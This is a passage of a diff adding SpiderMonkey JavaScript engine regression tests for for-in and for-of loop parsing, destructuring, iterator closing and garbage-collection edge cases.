+ for (var x = 0 in {p: 0}) ;
+}
+assertEq(log, "has|get|set|getOwnPropertyDescriptor|defineProperty|".repeat(2));
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-in-with-assignment-syntax.js b/js/src/tests/non262/statements/for-in-with-assignment-syntax.js
new file mode 100644
index 0000000000..7540b4bd1b
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-assignment-syntax.js
@@ -0,0 +1,66 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const validSyntax = [
+ "var x",
+];
+
+const destructuring = [
+ "[]",
+ "[,]",
+ "[a]",
+ "[a = 0]",
+ "[...a]",
+ "[...[]]",
+ "[...[a]]",
+ "{}",
+ "{p: x}",
+ "{p: x = 0}",
+ "{x}",
+ "{x = 0}",
+];
+
+const invalidSyntax = [
+ ...destructuring.map(binding => `var ${binding}`),
+ "let x",
+ ...destructuring.map(binding => `let ${binding}`),
+ "const x",
+ ...destructuring.map(binding => `const ${binding}`),
+ "x",
+ ...destructuring.map(binding => `${binding}`),
+ "o.p",
+ "o[0]",
+ "f()",
+];
+
+for (let valid of validSyntax) {
+ Function(`for (${valid} = 0 in {});`);
+ assertThrowsInstanceOf(() => Function(`"use strict"; for (${valid} = 0 in {});`),
+ SyntaxError);
+}
+
+for (let invalid of invalidSyntax) {
+ assertThrowsInstanceOf(() => Function(`for (${invalid} = 0 in {});`), SyntaxError);
+}
+
+// Invalid syntax, needs method context to parse.
+assertThrowsInstanceOf(() => Function(`({ m() { for (super.p = 0 in {}); } })`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`({ m() { for (super[0] = 0 in {}); } })`), SyntaxError);
+
+assertThrowsInstanceOf(() => Function(`for (0 = 0 in {});`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`for (i++ = 0 in {});`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`for (new F() = 0 in {});`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`function f() { for (new.target = 0 in {}); }`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`class C extends D { constructor() { for (super() = 0 in {}); } }`), SyntaxError);
+
+// Same as above, only this time don't make it look like we actually parse a for-in statement.
+assertThrowsInstanceOf(() => Function(`for (0 = 0 #####`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`for (i++ = 0 #####`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`for (new F() = 0 #####`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`function f() { for (new.target = 0 #####`), SyntaxError);
+assertThrowsInstanceOf(() => Function(`class C extends D { constructor() { for (super() = 0 #####`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-in-with-assignments.js b/js/src/tests/non262/statements/for-in-with-assignments.js
new file mode 100644
index 0000000000..302be2b42d
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-assignments.js
@@ -0,0 +1,87 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-in-with-assignments.js";
+var BUGNUMBER = 1164741;
+var summary = "Parse |for (var ... = ... in ...)|."
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This is a total grab-bag of junk originally in tests changed when this
+// syntax was removed. Leaving it all in one file will make it easier to
+// eventually remove. Avert your eyes!
+// TC39 has revived this syntax for ES2017 - "What is dead may never die."
+
+if (typeof Reflect !== "undefined" && Reflect.parse)
+ Reflect.parse("for (var x = 3 in []) { }");
+
+/******************************************************************************/
+
+function testQ() {
+ try {
+ for (var i = 0 in this) throw p;
+ } catch (e) {
+ if (i !== 94)
+ return "what";
+ }
+}
+testQ();
+
+/******************************************************************************/
+
+function f3(i,o){for(var x=i in o)parseInt(o[x]); return x}
+function f4(i,o){with(this)for(var x=i in o)parseInt(o[x]); return x}
+
+assertEq(f3(42, []), 42);
+assertEq(f3(42, ['first']), "0");
+assertEq(f4(42, []), 42);
+assertEq(f4(42, ['first']), "0");
+
+/******************************************************************************/
+
+function SetLangHead(l){
+ with(p){
+ for(var i=0 in x)
+ if(getElementById("TxtH"+i)!=undefined)
+ parseInt('huh');
+ }
+}
+x=[0,1,2,3];
+p={getElementById: function (id){
+ if (typeof dis === "function") {
+ dis(SetLangHead);
+ }
+ return undefined;
+}};
+SetLangHead(1);
+
+/******************************************************************************/
+
+(function(){for(var x = arguments in []){} function x(){}})();
+
+/******************************************************************************/
+
+with (0)
+ for (var b = 0 in 0); // don't assert in parser
+
+/******************************************************************************/
+
+function* g1() {
+ for (var x = yield in {}) ;
+}
+var it = g1();
+assertEq(it.next().done, false);
+assertEq(it.next().done, true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-in-with-declaration.js b/js/src/tests/non262/statements/for-in-with-declaration.js
new file mode 100644
index 0000000000..13c71b19c8
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-declaration.js
@@ -0,0 +1,31 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-in-with-declaration.js";
+var BUGNUMBER = 1163851;
+var summary =
+ "Declarations in for-in loop heads must not contain |in|-expression " +
+ "initializers";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsInstanceOf(() => Function("for (var x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (var x, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (var x = 5, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (const x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (const x = 5, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x, y = 3 in {}; ; ) break;"), SyntaxError);
+assertThrowsInstanceOf(() => Function("for (let x = 2, y = 3 in {}; ; ) break;"), SyntaxError);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-in-with-destructuring-assignments.js b/js/src/tests/non262/statements/for-in-with-destructuring-assignments.js
new file mode 100644
index 0000000000..6741c885e5
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-destructuring-assignments.js
@@ -0,0 +1,130 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-in-with-destructuring-assignments.js";
+var BUGNUMBER = 1164741;
+var summary = "|for (var <pat> = ... in ...)| is invalid syntax";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This is a total grab-bag of junk originally in tests changed when this
+// syntax was removed. Avert your eyes!
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [x] = x>>x in [[]<[]])
+ {
+ [];
+ }`),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(function() {
+ // Abandon all hope, ye who try to read this.
+ eval(`
+ (function () {
+ for
+ (var [x] = function(){}
+ in
+ (function m(a) {
+ if (a < 1) {
+ x;
+ return;
+ }
+ return m(a - 1) + m(a - 2);
+ })(7)(eval(""))
+ )
+ {
+ [];
+ }
+ })
+ `)();
+}, SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [e] = [] in (eval("for (b = 0; b < 6; ++b) gc()"))) {}
+`), SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [ v , c ] = 0 in undefined) { }"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("var b = e; for (var [e] = b in w) c"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var {a: []} = 2 in []) { }"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`try
+ {
+ for (var [,{y}] = 1 in []) {}
+ }
+ catch(ex)
+ {
+ }`),
+SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [x] = [] in null);"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval("for (var [x] = x in y) var x;"),
+ SyntaxError);
+
+/******************************************************************************/
+
+assertThrowsInstanceOf(() => eval(`
+ for (var [arguments] = ({ get y(){} }) in y ) (x);
+`),
+SyntaxError);
+
+/******************************************************************************/
+
+if (typeof evalcx == 'function') {
+ var src = 'try {\n' +
+ ' for (var [e] = /x/ in d) {\n' +
+ ' (function () {});\n' +
+ ' }\n' +
+ '} catch (e) {}\n' +
+ 'try {\n' +
+ ' let(x = Object.freeze(this, /x/))\n' +
+ ' e = {}.toString\n' +
+ ' function y() {}\n' +
+ '} catch (e) {}';
+
+ try
+ {
+ evalcx(src);
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e.name === "SyntaxError", true,
+ "expected invalid syntax, got " + e);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-in-with-gc-and-unvisited-deletion.js b/js/src/tests/non262/statements/for-in-with-gc-and-unvisited-deletion.js
new file mode 100644
index 0000000000..34e1eba1ec
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-gc-and-unvisited-deletion.js
@@ -0,0 +1,76 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-in-with-gc-and-unvisited-deletion.js";
+var BUGNUMBER = 1462939;
+var summary =
+ "Don't mishandle deletion of a property from the internal iterator " +
+ "created for a for-in loop, when a gc occurs just after it";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function testOneDeletion()
+{
+ var o = {
+ p: 1,
+ r: 3,
+ s: 4,
+ };
+
+ for (var i in o)
+ {
+ gc();
+ delete o.s;
+ }
+}
+testOneDeletion();
+
+function testTwoDeletions()
+{
+ var o = {
+ p: 1,
+ r: 3,
+ s: 4,
+ t: 5,
+ };
+
+ for (var i in o)
+ {
+ gc();
+ delete o.t;
+ delete o.s;
+ }
+}
+testTwoDeletions();
+
+function testThreeDeletions()
+{
+ var o = {
+ p: 1,
+ r: 3,
+ s: 4,
+ t: 5,
+ x: 7,
+ };
+
+ for (var i in o)
+ {
+ gc();
+ delete o.x;
+ delete o.t;
+ delete o.s;
+ }
+}
+testThreeDeletions();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-in-with-gc-during-iterator-init.js b/js/src/tests/non262/statements/for-in-with-gc-during-iterator-init.js
new file mode 100644
index 0000000000..d36322878f
--- /dev/null
+++ b/js/src/tests/non262/statements/for-in-with-gc-during-iterator-init.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-in-with-gc-during-iterator-init.js";
+var BUGNUMBER = 1464472;
+var summary =
+ "Properly trace NativeIterator when a GC occurs during its initialization";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+gczeal(17, 1);
+for (var i = 0; i < 100; ++i)
+{
+ Object.prototype[1012] = "value";
+ imports = {};
+ for (dmod in imports)
+ continue; // gc occurs here converting 1012 to string
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-inof-coverinitname-destr-assign.js b/js/src/tests/non262/statements/for-inof-coverinitname-destr-assign.js
new file mode 100644
index 0000000000..ba9e409599
--- /dev/null
+++ b/js/src/tests/non262/statements/for-inof-coverinitname-destr-assign.js
@@ -0,0 +1,55 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const defaultValue = "default-value";
+const unreachable = () => { throw "unreachable"; };
+
+// for-in statement, object destructuring.
+var forIn;
+for ({forIn = defaultValue} in {"": null});
+assertEq(forIn, defaultValue);
+
+forIn = undefined;
+String.prototype.forIn = defaultValue;
+for ({forIn = unreachable()} in {"": null});
+delete String.prototype.forIn;
+assertEq(forIn, defaultValue);
+
+// for-in statement, array destructuring.
+forIn = undefined;
+for ([forIn = defaultValue] in {"": null});
+assertEq(forIn, defaultValue);
+
+forIn = undefined;
+for ([forIn = unreachable()] in {"ABC": null});
+assertEq(forIn, "A");
+
+
+// for-of statement, object destructuring.
+var forOf;
+for ({forOf = defaultValue} of [{}]);
+assertEq(forOf, defaultValue);
+
+forOf = undefined;
+for ({forOf = unreachable()} of [{forOf: defaultValue}]);
+assertEq(forOf, defaultValue);
+
+// for-of statement, array destructuring.
+forOf = undefined;
+for ([forOf = defaultValue] of [[]]);
+assertEq(forOf, defaultValue);
+
+forOf = undefined;
+for ([forOf = unreachable()] of [[defaultValue]]);
+assertEq(forOf, defaultValue);
+
+
+// for-statement, object destructuring.
+assertThrowsInstanceOf(() => eval(`
+ for ({invalid = 0};;);
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-inof-finally.js b/js/src/tests/non262/statements/for-inof-finally.js
new file mode 100644
index 0000000000..e1f0c77e12
--- /dev/null
+++ b/js/src/tests/non262/statements/for-inof-finally.js
@@ -0,0 +1,78 @@
+var BUGNUMBER = 1332881;
+var summary =
+ "Leaving for-in and try should handle stack value in correct order";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+function reset() {
+ called = 0;
+}
+var obj = {
+ [Symbol.iterator]() {
+ return {
+ next() {
+ return { value: 10, done: false };
+ },
+ return() {
+ called++;
+ return {};
+ }
+ };
+ }
+};
+
+var a = (function () {
+ for (var x in [0]) {
+ try {} finally {
+ return 11;
+ }
+ }
+})();
+assertEq(a, 11);
+
+reset();
+var b = (function () {
+ for (var x of obj) {
+ try {} finally {
+ return 12;
+ }
+ }
+})();
+assertEq(called, 1);
+assertEq(b, 12);
+
+reset();
+var c = (function () {
+ for (var x in [0]) {
+ for (var y of obj) {
+ try {} finally {
+ return 13;
+ }
+ }
+ }
+})();
+assertEq(called, 1);
+assertEq(c, 13);
+
+reset();
+var d = (function () {
+ for (var x in [0]) {
+ for (var y of obj) {
+ try {} finally {
+ for (var z in [0]) {
+ for (var w of obj) {
+ try {} finally {
+ return 14;
+ }
+ }
+ }
+ }
+ }
+ }
+})();
+assertEq(called, 2);
+assertEq(d, 14);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-inof-loop-const-declaration.js b/js/src/tests/non262/statements/for-inof-loop-const-declaration.js
new file mode 100644
index 0000000000..e8daa343b9
--- /dev/null
+++ b/js/src/tests/non262/statements/for-inof-loop-const-declaration.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-inof-loop-const-declaration.js";
+var BUGNUMBER = 1278150;
+var summary = "Support const declarations in for-of loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+
+count = 0;
+for (const x in "abcdef")
+{
+ assertEq(x, "" + count++);
+
+ try
+ {
+ x = 3;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const x of "012345")
+{
+ assertEq(x, "" + count++);
+
+ try
+ {
+ x = 3;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const { length, 0: c } in "abcdef")
+{
+ assertEq(length, 1);
+ assertEq(c, "" + count++);
+
+
+ try
+ {
+ length = 1;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+count = 0;
+for (const { length, 0: c } of "012345")
+{
+ assertEq(length, 1);
+ assertEq(c, "" + count++);
+
+ try
+ {
+ c = 42;
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "didn't get a TypeError, instead got: " + e);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-inof-name-iteration-expression-contains-index-string.js b/js/src/tests/non262/statements/for-inof-name-iteration-expression-contains-index-string.js
new file mode 100644
index 0000000000..212b34db97
--- /dev/null
+++ b/js/src/tests/non262/statements/for-inof-name-iteration-expression-contains-index-string.js
@@ -0,0 +1,43 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "for-inof-name-iteration-expression-contains-index-string.js";
+var BUGNUMBER = 1235640;
+var summary =
+ "Don't assert parsing a for-in/of loop whose target is a name, where the " +
+ "expression being iterated over contains a string containing an index";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function f()
+{
+ var x;
+ for (x in "9")
+ continue;
+ assertEq(x, "0");
+}
+
+f();
+
+function g()
+{
+ "use strict";
+ var x = "unset";
+ for (x in arguments)
+ continue;
+ assertEq(x, "unset");
+}
+
+g();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-loop-declaration-contains-computed-name.js b/js/src/tests/non262/statements/for-loop-declaration-contains-computed-name.js
new file mode 100644
index 0000000000..7928d049dc
--- /dev/null
+++ b/js/src/tests/non262/statements/for-loop-declaration-contains-computed-name.js
@@ -0,0 +1,48 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-declaration-contains-computed-name.js";
+var BUGNUMBER = 1233767;
+var summary =
+ "Support computed property names in destructuring declarations in " +
+ "for-in/of loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+
+count = 0;
+for (var { [5]: x, [x]: y } of [{ 5: 42, 42: "hi" }, { 5: 17, 17: 'fnord' }])
+{
+ if (count === 0) {
+ assertEq(x, 42);
+ assertEq(y, "hi");
+ } else {
+ assertEq(x, 17);
+ assertEq(y, "fnord");
+ }
+
+ count++;
+}
+
+count = 0;
+for (var { length: x, [x - 1]: y } in "foo")
+{
+ assertEq(x, 1);
+ assertEq("" + count, y);
+
+ count++;
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-loop-declaration-contains-initializer.js b/js/src/tests/non262/statements/for-loop-declaration-contains-initializer.js
new file mode 100644
index 0000000000..7010c9eba9
--- /dev/null
+++ b/js/src/tests/non262/statements/for-loop-declaration-contains-initializer.js
@@ -0,0 +1,50 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-loop-declaration-contains-computed-name.js";
+var BUGNUMBER = 1233767;
+var summary =
+ "Support initializer defaults in destructuring declarations in for-in/of " +
+ "loop heads";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var count;
+var expr;
+
+expr = [{ z: 42, 42: "hi" }, { 7: 'fnord' }];
+count = 0;
+for (var { z: x = 7, [x]: y = 3 } of expr)
+{
+ if (count === 0) {
+ assertEq(x, 42);
+ assertEq(y, "hi");
+ } else {
+ assertEq(x, 7);
+ assertEq(y, "fnord");
+ }
+
+ count++;
+}
+
+count = 0;
+for (var { length: x, [x - 1 + count]: y = "psych" } in "foo")
+{
+ assertEq(x, 1);
+ assertEq(y, count === 0 ? "0" : "psych");
+
+ count++;
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/for-of-async-of-starting-lhs.js b/js/src/tests/non262/statements/for-of-async-of-starting-lhs.js
new file mode 100644
index 0000000000..74c81e2a06
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-async-of-starting-lhs.js
@@ -0,0 +1,115 @@
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+
+const AsyncFunction = async function(){}.constructor;
+
+function assertNoError(f, msg) {
+ try {
+ f();
+ } catch (e) {
+ assertEq(true, false, `${msg}: ${e}`);
+ }
+}
+
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(function () { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(function () { AsyncFunction(code); }, SyntaxError, "AsyncFunction:" + code);
+
+ if (typeof parseModule === "function") {
+ assertThrowsInstanceOf(function () { parseModule(code); }, SyntaxError, "Module:" + code);
+ }
+}
+
+function assertNoSyntaxError(code) {
+ assertNoError(function () { Function(code); }, "Function:" + code);
+ assertNoError(function () { AsyncFunction(code); }, "AsyncFunction:" + code);
+
+ if (typeof parseModule === "function") {
+ assertNoError(function () { parseModule(code); }, "Module:" + code);
+ }
+}
+
+function assertNoSyntaxErrorAsyncContext(code) {
+ assertNoError(function () { AsyncFunction(code); }, "AsyncFunction:" + code);
+
+ if (typeof parseModule === "function") {
+ assertNoError(function () { parseModule(code); }, "Module:" + code);
+ }
+}
+
+const invalidTestCases = [
+ // for-in loop: LHS can't start with an async arrow function.
+ "for ( async of => {} in [] ) ;",
+ "for ( async o\\u0066 => {} in [] ) ;",
+
+ // for-of loop: LHS can't start with an async arrow function.
+ "for ( async of => {} of [] ) ;",
+ "for ( async o\\u0066 => {} of [] ) ;",
+
+ // for-of loop: LHS can't start with an identifier named "async".
+ "for ( async of [] ) ;",
+
+ // for-await-of loop: LHS can't start with an async arrow function.
+ "for await ( async of => {} of [] ) ;",
+ "for await ( async o\\u0066 => {} of [] ) ;",
+];
+
+for (let source of invalidTestCases) {
+ assertSyntaxError(source);
+
+ // Also test when the tokens are separated by newline characters.
+ assertSyntaxError(source.split(" ").join("\n"));
+}
+
+// for-loop: async arrow functions are allowed in C-style for-loops.
+assertNoSyntaxError("for ( async of => {} ; ; ) ;")
+
+const validTestCases = [
+ // for-loop: LHS can start with an identifier named "async".
+ "for ( async ; ; ) ;",
+ "for ( \\u0061sync ; ; ) ;",
+
+ // for-in loop: LHS can start with an identifier named "async".
+ "for ( async in [] ) ;",
+ "for ( \\u0061sync in [] ) ;",
+
+ // for-in loop: LHS can start with an property assignment starting with "async".
+ "for ( async . prop in [] ) ;",
+ "for ( async [ 0 ] in [] ) ;",
+
+ // for-of loop: LHS can start with an identifier named "async" when escape characters are used.
+ "for ( \\u0061sync of [] ) ;",
+
+ // for-of loop: LHS can start with an property assignment starting with "async".
+ "for ( async . prop of [] ) ;",
+ "for ( async [ 0 ] of [] ) ;",
+];
+
+for (let source of validTestCases) {
+ assertNoSyntaxError(source);
+
+ // Also test when the tokens are separated by newline characters.
+ assertNoSyntaxError(source.split(" ").join("\n"));
+}
+
+const validTestCasesAsync = [
+ // for-await-of loop: LHS can start with an identifier named "async".
+ "for await ( async of [] ) ;",
+ "for await ( \\u0061sync of [] ) ;",
+
+ // for-await-of loop: LHS can start with an property assignment starting with "async".
+ "for await ( async . prop of [] ) ;",
+ "for await ( async [ 0 ] of [] ) ;",
+];
+
+for (let source of validTestCasesAsync) {
+ assertNoSyntaxErrorAsyncContext(source);
+
+ // Also test when the tokens are separated by newline characters.
+ assertNoSyntaxErrorAsyncContext(source.split(" ").join("\n"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/statements/for-of-iterator-close-throw.js b/js/src/tests/non262/statements/for-of-iterator-close-throw.js
new file mode 100644
index 0000000000..1974e416be
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-iterator-close-throw.js
@@ -0,0 +1,35 @@
+function test() {
+ var returnCalled = 0;
+ var returnCalledExpected = 0;
+ var catchEntered = 0;
+ var finallyEntered = 0;
+ var finallyEnteredExpected = 0;
+ var iterable = {};
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ throw 42;
+ }
+ });
+
+ // inner try cannot catch IteratorClose throwing
+ assertThrowsValue(function() {
+ for (var x of iterable) {
+ try {
+ return;
+ } catch (e) {
+ catchEntered++;
+ } finally {
+ finallyEntered++;
+ }
+ }
+ }, 42);
+ assertEq(returnCalled, ++returnCalledExpected);
+ assertEq(catchEntered, 0);
+ assertEq(finallyEntered, ++finallyEnteredExpected);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/statements/for-of-iterator-close.js b/js/src/tests/non262/statements/for-of-iterator-close.js
new file mode 100644
index 0000000000..b28895d8fe
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-iterator-close.js
@@ -0,0 +1,102 @@
+// Tests that IteratorReturn is called when a for-of loop has an abrupt
+// completion value during non-iterator code.
+
+function test() {
+ var returnCalled = 0;
+ var returnCalledExpected = 0;
+ var iterable = {};
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+
+ // break calls iter.return
+ for (var x of iterable)
+ break;
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in body calls iter.return
+ assertThrowsValue(function() {
+ for (var x of iterable)
+ throw "in body";
+ }, "in body");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in lhs ref calls iter.return
+ function throwlhs() {
+ throw "in lhs";
+ }
+ assertThrowsValue(function() {
+ for ((throwlhs()) of iterable)
+ continue;
+ }, "in lhs");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in iter.return doesn't re-call iter.return
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ throw "in iter.return";
+ }
+ });
+ assertThrowsValue(function() {
+ for (var x of iterable)
+ break;
+ }, "in iter.return");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // throw in iter.next doesn't call IteratorClose
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ throw "in next";
+ }
+ });
+ assertThrowsValue(function() {
+ for (var x of iterable)
+ break;
+ }, "in next");
+ assertEq(returnCalled, returnCalledExpected);
+
+ // "return" must return an Object.
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return 42;
+ }
+ });
+ assertThrowsInstanceOf(function() {
+ for (var x of iterable)
+ break;
+ }, TypeError);
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // continue doesn't call iter.return for the loop it's continuing
+ var i = 0;
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ return { done: i++ > 5 };
+ },
+ ret: function() {
+ returnCalled++;
+ return {};
+ }
+ });
+ for (var x of iterable)
+ continue;
+ assertEq(returnCalled, returnCalledExpected);
+
+ // continue does call iter.return for loops it skips
+ i = 0;
+ L: do {
+ for (var x of iterable)
+ continue L;
+ } while (false);
+ assertEq(returnCalled, ++returnCalledExpected);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/statements/for-of-iterator-primitive.js b/js/src/tests/non262/statements/for-of-iterator-primitive.js
new file mode 100644
index 0000000000..6d69a1282f
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-iterator-primitive.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let obj = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ for (let x of obj) {
+ }
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/statements/for-of-var-with-initializer.js b/js/src/tests/non262/statements/for-of-var-with-initializer.js
new file mode 100644
index 0000000000..ae42e153b3
--- /dev/null
+++ b/js/src/tests/non262/statements/for-of-var-with-initializer.js
@@ -0,0 +1,32 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "for-of-var-with-initializer.js";
+var BUGNUMBER = 1164741;
+var summary = "Don't assert parsing |for (var x = 3 of 42);|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ Function("for (var x = 3 of 42);");
